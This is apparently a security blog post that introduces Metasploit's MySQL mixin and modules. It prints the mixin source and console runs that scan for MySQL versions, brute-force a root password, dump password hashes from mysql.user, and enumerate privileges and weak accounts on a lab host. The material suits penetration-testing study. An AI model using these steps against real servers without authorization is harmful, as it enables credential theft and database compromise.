Recently HD added a new mixin for MySQL adding support for connecting and executing queries against MySQL using the MySQL library from tmtm.org. In addition to the library 2 new modules from Bernardo Damele (Author of SQLMap) where added. The modules from Bernardo are:

  • mysql_sql – A simple module for executing queries against MySQL provided the appropriate credentials.
  • mysql_login – Login brut force module.

In addition to this 2 module I wrote a mysql_enum module based on the CIS Benchmark for MySQL and an existing module called version was already present to enumerate a MySQL version thru the network.

The Mixin

Lets start by taking a look at the Mixin. At the moment of this blog post this is how the mixin looks:

  1: require 'msf/core'
  2: require 'rbmysql'
  3:
  4: module Msf
  5: module Exploit::Remote::MYSQL
  6:
  7: 	include Exploit::Remote::Tcp
  8:
  9: 	def initialize(info = {})
 10: 		super
 11:
 12: 		register_options(
 13: 			[
 14: 				Opt::RHOST,
 15: 				Opt::RPORT(3306),
 16: 				OptString.new('MYSQL_USER', [ true, 'The username to authenticate as', 'root']),
 17: 				OptString.new('MYSQL_PASS', [ false, 'The password for the specified username', '']),
 18: 			], Msf::Exploit::Remote::MYSQL
 19: 		)
 20: 	end
 21:
 22: 	def mysql_login(user='root', pass='', db=nil)
 23: 		disconnect if self.sock
 24: 		connect
 25:
 26: 		@mysql_handle = ::RbMysql.connect({
 27: 			:host     => rhost,
 28: 			:port     => rport,
 29: 			:socket   => sock,
 30: 			:user     => user,
 31: 			:password => pass,
 32: 			:db       => db
 33: 		})
 34: 	end
 35:
 36: 	def mysql_logoff
 37: 		@mysql_handle = nil if @mysql_handle
 38: 		disconnect if self.sock
 39: 	end
 40:
 41: 	def mysql_login_datastore
 42: 		mysql_login(datastore['MYSQL_USER'], datastore['MYSQL_PASS'])
 43: 	end
 44:
 45: 	def mysql_query(sql)
 46: 		res = nil
 47: 		begin
 48: 			res = @mysql_handle.query(sql)
 49: 		rescue ::RbMysql::Error => e
 50: 			print_error("MySQL Error: #{e.class} #{e.to_s}")
 51: 			return
 52: 		end
 53:
 54: 		res
 55: 	end
 56:
 57: end
 58: end

 

 

From lines 9 to 20 the mixin when initialized adds the following options to the module that imports it:

  • RHOST – The MySQL server to connect to.
  • RPORT – The MySQL port, default value of 3306.
  • MYSQL_USER – User account to use for the connecting to the MySQL Server.
  • MYSQL_PASS – Password to use for the connecting to the MySQL Server

The Mixin is a very simple one to use it provides 4 calls:

  • mysql_login – this call allows the coder to connect to a MySQL server providing the Username, Password and Database
  • mysql_logoff – Disconnects the connection created to the database server created by msql_login
  • mysql_login_datastore – Is a wrapper around mysql_login where a login is made using only the datastore values for MYSQL_USER and MYSQL_PASS.
  • mysql_query – Performs a SQL query against the connected database server given a SQL string to execute.
The MySQL Version Scanner Module

The existing module before the mixing was added is the version scanner module by Kris Katterjohn:

   1: msf > use auxiliary/scanner/mysql/version 

   2: msf auxiliary(version) > info

   3:  

   4:        Name: MySQL Server Version Enumeration

   5:     Version: 6482

   6:     License: Metasploit Framework License (BSD)

   7:        Rank: Normal

   8:  

   9: Provided by:

  10:   kris katterjohn <katterjohn@gmail.com>

  11:  

  12: Basic options:

  13:   Name     Current Setting  Required  Description

  14:   ----     ---------------  --------  -----------

  15:   RHOSTS                    yes       The target address range or CIDR identifier

  16:   RPORT    3306             yes       The target port

  17:   THREADS  1                yes       The number of concurrent threads

  18:  

  19: Description:

  20:   Enumerates the version of MySQL servers

  21:  

  22: msf auxiliary(version) > 

the module accepts as options

  • RHOSTS – a targeted address range.
  • RPORT – the TCP port on where to look for, the port 3306 is set by default.
  • THREADS – the number of threads to use for lloking for host and enumerating their versions, default is 1.

Lets set a scan and run it against the local network.

   1: msf auxiliary(version) > set RHOSTS 192.168.1.1/24

   2: RHOSTS => 192.168.1.1/24

   3: msf auxiliary(version) > set THREADS 10

   4: THREADS => 10

   5: msf auxiliary(version) > run

   6:  

   7: [*] Scanned 029 of 256 hosts (011% complete)

   8: [*] Scanned 052 of 256 hosts (020% complete)

   9: [*] Scanned 077 of 256 hosts (030% complete)

  10: [*] Scanned 103 of 256 hosts (040% complete)

  11: [*] Scanned 128 of 256 hosts (050% complete)

  12: [*] Scanned 154 of 256 hosts (060% complete)

  13: [*] Scanned 189 of 256 hosts (073% complete)

  14: [*] Scanned 205 of 256 hosts (080% complete)

  15: [*] 192.168.1.225:3306 is running MySQL ["5.0.75-0ubuntu10.2"] (protocol [10])

  16: [*] Scanned 232 of 256 hosts (090% complete)

  17: [*] Scanned 256 of 256 hosts (100% complete)

  18: [*] Auxiliary module execution completed

  19: msf auxiliary(version) > 

It found our MySQL box and enumerated correctly the version.

The MySQL Login Bruteforce Module

 

The MySQL Login Bruteforce module by Bernardo is one of the first modules to use the new mixin:

   1: msf > use auxiliary/scanner/mysql/mysql_login 

   2:  

   3: msf auxiliary(mysql_login) > info

   4:  

   5:        Name: MySQL Login Utility

   6:     Version: 7979

   7:     License: Metasploit Framework License (BSD)

   8:        Rank: Normal

   9:  

  10: Provided by:

  11:   Bernardo Damele A. G. <bernardo.damele@gmail.com>

  12:  

  13: Basic options:

  14:   Name             Current Setting  Required  Description

  15:   ----             ---------------  --------  -----------

  16:   MYSQL_PASS                        no        The password for the specified username

  17:   MYSQL_PASS_FILE                   no        A dictionary of passwords to perform a bruteforce attempt

  18:   MYSQL_USER       root             yes       The username to authenticate as

  19:   RHOSTS                            yes       The target address range or CIDR identifier

  20:   RPORT            3306             yes       The target port

  21:   THREADS          1                yes       The number of concurrent threads

  22:   VERBOSE          false            yes       Verbose output

  23:  

  24: Description:

  25:   This module simply queries the MySQL instance for a specific 

  26:   user/pass (default is root with blank).

  27:  

  28: msf auxiliary(mysql_login) > 

The module adds 3 options additional to the options that are part of the mixin, this options are:

  • MYSQL_PASS_FILE – A Dictionary of password to perform the bruteforce.
  • THREADS – The Number of simultaneous attempts to perform.
  • VERBOSE – Enable verbose mode so as to see as much information of what the module is doing.
  • RHOSTS – The range of servers to test.

Once successful this module also saves the found credentials in the database attached to the framework if one is present. Lets set the module to attack the found MySQL server, give it a password file and set it to 10 concurrent connections:

   1: msf auxiliary(mysql_login) > set MYSQL_PASS_FILE /tmp/pass.txt

   2: MYSQL_PASS_FILE => /tmp/pass.txt

   3: msf auxiliary(mysql_login) > set THREADS 5

   4: THREADS => 5

   5: msf auxiliary(mysql_login) > set RHOSTS 192.168.1.225

   6: RHOSTS => 192.168.1.225

   7: msf auxiliary(mysql_login) > run

   8:  

   9: [*] 192.168.1.225:3306 successful logged in as 'root' with password 'P@ssword'

  10: [*] Scanned 1 of 1 hosts (100% complete)

  11: [*] Auxiliary module execution completed

  12: msf auxiliary(mysql_login) > 

The new mixin is quite fast.

The MySQL Generic Query Module

This is the second module contributed by Bernardo, it allows the execution of generic SQL queries given a username and password.

   1: msf auxiliary(mysql_login) > use auxiliary/admin/mysql/mysql_sql 

   2: msf auxiliary(mysql_sql) > info

   3:  

   4:        Name: MySQL SQL Generic Query

   5:     Version: 7978

   6:     License: Metasploit Framework License (BSD)

   7:        Rank: Normal

   8:  

   9: Provided by:

  10:   Bernardo Damele A. G. <bernardo.damele@gmail.com>

  11:  

  12: Basic options:

  13:   Name        Current Setting   Required  Description

  14:   ----        ---------------   --------  -----------

  15:   MYSQL_PASS                    no        The password for the specified username

  16:   MYSQL_USER  root              yes       The username to authenticate as

  17:   RHOST                         yes       The target address

  18:   RPORT       3306              yes       The target port

  19:   SQL         select version()  yes       The SQL to execute.

  20:  

  21: Description:

  22:   This module allows for simple SQL statements to be executed against 

  23:   a MySQL instance given the appropriate credentials.

  24:  

  25: msf auxiliary(mysql_sql) > 

Lets set the module to execute the “select user, host, password from mysql.user” query to list all accounts configured on the server, the host from which they can connect to and the password hash (in version 5 a double SHA1):

   1: msf auxiliary(mysql_sql) > set MYSQL_PASS P@ssword

   2: MYSQL_PASS => P@ssword

   3: msf auxiliary(mysql_sql) > set RHOST 192.168.1.225

   4: RHOST => 192.168.1.225

   5: msf auxiliary(mysql_sql) > set SQL select user, host, password from mysql.user

   6: SQL => select user, host, password from mysql.user

   7: msf auxiliary(mysql_sql) > run

   8:  

   9: [*] Sending statement: 'select user, host, password from mysql.user'...

  10: [*]  | root | localhost | *1114CDA5E6E3C382919BCF0D858DD97EB8254812 |

  11: [*]  | root | mysql1 | *1114CDA5E6E3C382919BCF0D858DD97EB8254812 |

  12: [*]  | root | 127.0.0.1 | *1114CDA5E6E3C382919BCF0D858DD97EB8254812 |

  13: [*]  | debian-sys-maint | localhost | *B5B29092C4F54539DAEED066DDA875543A81C9A8 |

  14: [*]  | root | % | *1114CDA5E6E3C382919BCF0D858DD97EB8254812 |

  15: [*]  | empypassusr | % |  |

  16: [*]  |  | % | *26084ECEA9703C37D3D28CA34D9346D9527B0ABF |

  17: [*] Auxiliary module execution completed

  18: msf auxiliary(mysql_sql) > 

The level of access and what queries can be performed will depend on the permissions of the account that is being used.

 The MySQL Enumeration Module

Entering each query one by one will take some time, so I wrote a module that uses the mixin for performing enumeration of those parameter, privileges and accounts that might be of interest to an attacker.

   1: msf auxiliary(mysql_sql) > use auxiliary/admin/mysql/mysql_enum 

   2: msf auxiliary(mysql_enum) > info

   3:  

   4:        Name: MySQL Enumeration Module

   5:     Version: $Revision:$

   6:     License: Metasploit Framework License (BSD)

   7:        Rank: Normal

   8:  

   9: Provided by:

  10:   Carlos Perez. <carlos_perez@darkoperator.com>

  11:  

  12: Basic options:

  13:   Name        Current Setting  Required  Description

  14:   ----        ---------------  --------  -----------

  15:   MYSQL_PASS                   no        The password for the specified username

  16:   MYSQL_USER  root             yes       The username to authenticate as

  17:   RHOST                        yes       The target address

  18:   RPORT       3306             yes       The target port

  19:  

  20: Description:

  21:   This module allows for simple enumeration of MySQL Database Server 

  22:   provided proper credentials to connect remotely.

  23:  

  24: References:

  25:   https://cisecurity.org/benchmarks.html

  26:  

  27: msf auxiliary(mysql_enum) > 

Lets provide the appropriate parameters to execute the module against the MySQL server (Note: You can use global variables so to not enter the information individually in each module using the setg command)

   1: msf auxiliary(mysql_enum) > set RHOST 192.168.1.225

   2: RHOST => 192.168.1.225

   3: msf auxiliary(mysql_enum) > set MYSQL_PASS P@ssword

   4: MYSQL_PASS => P@ssword

   5: msf auxiliary(mysql_enum) > run

   6:  

   7: [*] Running MySQL Enumerator...

   8: [*] Enumerating Parameters

   9: [*]     MySQL Version: 5.0.75-0ubuntu10.2

  10: [*]     Compiled for the following OS: debian-linux-gnu

  11: [*]     Architecture: i486

  12: [*]     Server Hostname: mysql1

  13: [*]     Data Directory: /var/lib/mysql/

  14: [*]     Logging of queries and logins: OFF

  15: [*]     Old Password Hashing Algorithm: OFF

  16: [*]     Loading of local files: ON

  17: [*]     Logings with old Pre-4.1 Passwords: OFF

  18: [*]     Allow Use of symlinks for Databse Files: YES

  19: [*]     Allow Table Merge: YES

  20: [*]     SSL Connection: DISABLED

  21: [*] Enumerating Accounts:

  22: [*]     List of Accounts with Password Hashes:

  23: [*]         User: root Host: localhost Password Hash: *1114CDA5E6E3C382919BCF0D858DD97EB8254812

  24: [*]         User: root Host: mysql1 Password Hash: *1114CDA5E6E3C382919BCF0D858DD97EB8254812

  25: [*]         User: root Host: 127.0.0.1 Password Hash: *1114CDA5E6E3C382919BCF0D858DD97EB8254812

  26: [*]         User: debian-sys-maint Host: localhost Password Hash: *B5B29092C4F54539DAEED066DDA875543A81C9A8

  27: [*]         User: root Host: % Password Hash: *1114CDA5E6E3C382919BCF0D858DD97EB8254812

  28: [*]         User: empypassusr Host: % Password Hash: 

  29: [*]         User:  Host: % Password Hash: *26084ECEA9703C37D3D28CA34D9346D9527B0ABF

  30: [*]     The following users have GRANT Privilege:

  31: [*]         User: root Host: localhost

  32: [*]         User: root Host: mysql1

  33: [*]         User: root Host: 127.0.0.1

  34: [*]         User: debian-sys-maint Host: localhost

  35: [*]     The following users have CREATE USER Privilege:

  36: [*]         User: root Host: localhost

  37: [*]         User: root Host: mysql1

  38: [*]         User: root Host: 127.0.0.1

  39: [*]     The following users have RELOAD Privilege:

  40: [*]         User: root Host: localhost

  41: [*]         User: root Host: mysql1

  42: [*]         User: root Host: 127.0.0.1

  43: [*]         User: debian-sys-maint Host: localhost

  44: [*]     The following users have SHUTDOWN Privilege:

  45: [*]         User: root Host: localhost

  46: [*]         User: root Host: mysql1

  47: [*]         User: root Host: 127.0.0.1

  48: [*]         User: debian-sys-maint Host: localhost

  49: [*]     The following users have SUPER Privilege:

  50: [*]         User: root Host: localhost

  51: [*]         User: root Host: mysql1

  52: [*]         User: root Host: 127.0.0.1

  53: [*]         User: debian-sys-maint Host: localhost

  54: [*]     The following users have FILE Privilege:

  55: [*]         User: root Host: localhost

  56: [*]         User: root Host: mysql1

  57: [*]         User: root Host: 127.0.0.1

  58: [*]         User: debian-sys-maint Host: localhost

  59: [*]     The following users have POCESS Privilege:

  60: [*]         User: root Host: localhost

  61: [*]         User: root Host: mysql1

  62: [*]         User: root Host: 127.0.0.1

  63: [*]         User: debian-sys-maint Host: localhost

  64: [*]     The following accounts have privileges to the mysql databse:

  65: [*]         User: root Host: localhost

  66: [*]         User: root Host: mysql1

  67: [*]         User: root Host: 127.0.0.1

  68: [*]         User: debian-sys-maint Host: localhost

  69: [*]     Anonymous Accounts are Present:

  70: [*]         User:  Host: %

  71: [*]     The following accounts have empty passwords:

  72: [*]         User: empypassusr Host: %

  73: [*]     The following accounts are not restricted by source:

  74: [*]         User:  Host: %

  75: [*]         User: empypassusr Host: %

  76: [*]         User: root Host: %

  77: [*] Auxiliary module execution completed

  78: msf auxiliary(mysql_enum) > 

As it can be seen a lot of valuable information is gathered and displayed by the module.

As it can be seen the Framework now provides a new way to attack and enumerate MySQL Servers adding to its flexibility.

About the author